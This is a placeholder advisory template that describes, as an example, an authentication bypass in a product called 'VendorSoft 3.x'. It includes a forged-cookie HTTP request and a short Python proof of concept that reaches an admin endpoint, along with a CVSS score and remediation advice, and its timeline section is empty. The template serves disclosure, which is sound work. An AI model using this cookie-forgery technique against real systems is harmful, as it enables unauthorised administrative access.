Example Advisory: Authentication Bypass in VendorSoft 3.x

Note: This is a placeholder advisory demonstrating the advisory format. Replace with your real disclosures.

Summary

A critical authentication bypass vulnerability was identified in VendorSoft version 3.x that allows unauthenticated remote attackers to access administrative functionality without valid credentials.

Affected Versions

• VendorSoft 3.0 — 3.4.2

CVSSv3 Score

9.1 (Critical) AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Technical Details

The vulnerability exists in the session validation logic of the administrative panel. The application checks the presence of a session cookie but not its validity, allowing attackers to forge requests with arbitrary session values.

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GET /admin/users HTTP/1.1
Host: target.example.com
Cookie: session=aaaaaaaaaaaaaaaa

A crafted request with any 16-character session value bypasses authentication and returns a valid administrative response.

Proof of Concept

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import requests

target = "https://target.example.com"
session = requests.Session()
session.cookies.set("session", "a" * 16)

r = session.get(f"{target}/admin/users")
if "User Management" in r.text:
    print("[+] Bypass successful")
    print(r.text[:500])

Timeline

Remediation

Update to VendorSoft v3.4.3 or later. The vendor has patched the session validation logic to verify cryptographic session integrity on every request.

Credit

Discovered and reported by TheXero following responsible disclosure guidelines.